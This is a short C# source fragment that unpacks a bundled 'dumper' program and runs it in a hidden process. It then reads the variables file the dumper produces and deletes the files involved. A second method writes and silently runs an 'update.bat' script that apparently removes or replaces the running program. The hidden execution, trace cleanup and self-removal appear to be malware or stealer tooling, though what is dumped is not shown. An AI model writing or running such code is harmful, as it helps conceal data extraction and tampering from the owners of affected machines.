private static string GetDump() { if (!File.Exists(Constants.tempFolder + Constants.dumperName)) { MachineFunctions.UnpackTempFiles(); return(GetDump()); } else { File.WriteAllBytes(Constants.dumperConfigName, Properties.Resources.config); Process pr = MachineFunctions.StartHiddenProcess(Constants.tempFolder + Constants.dumperName, "-c " + Constants.dumperConfigName); pr.WaitForExit(Constants.dumpWaitTime); File.Delete(Constants.dumperConfigName); if (File.Exists(Constants.varsFile)) { string data; StreamReader reader = new StreamReader(Constants.varsFile); data = reader.ReadToEnd(); reader.Close(); RemoveAll(); return(data); } else { RemoveAll(); return(null); } } }
private void timerWaitTick(object sender, EventArgs args) { ((Timer)sender).Stop(); string[] path = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName.Split('\\'); string yourFileName = path[path.Length - 1]; createBatFile(yourFileName); MachineFunctions.StartHiddenProcess("update.bat", ""); Program.ExitProgram(); }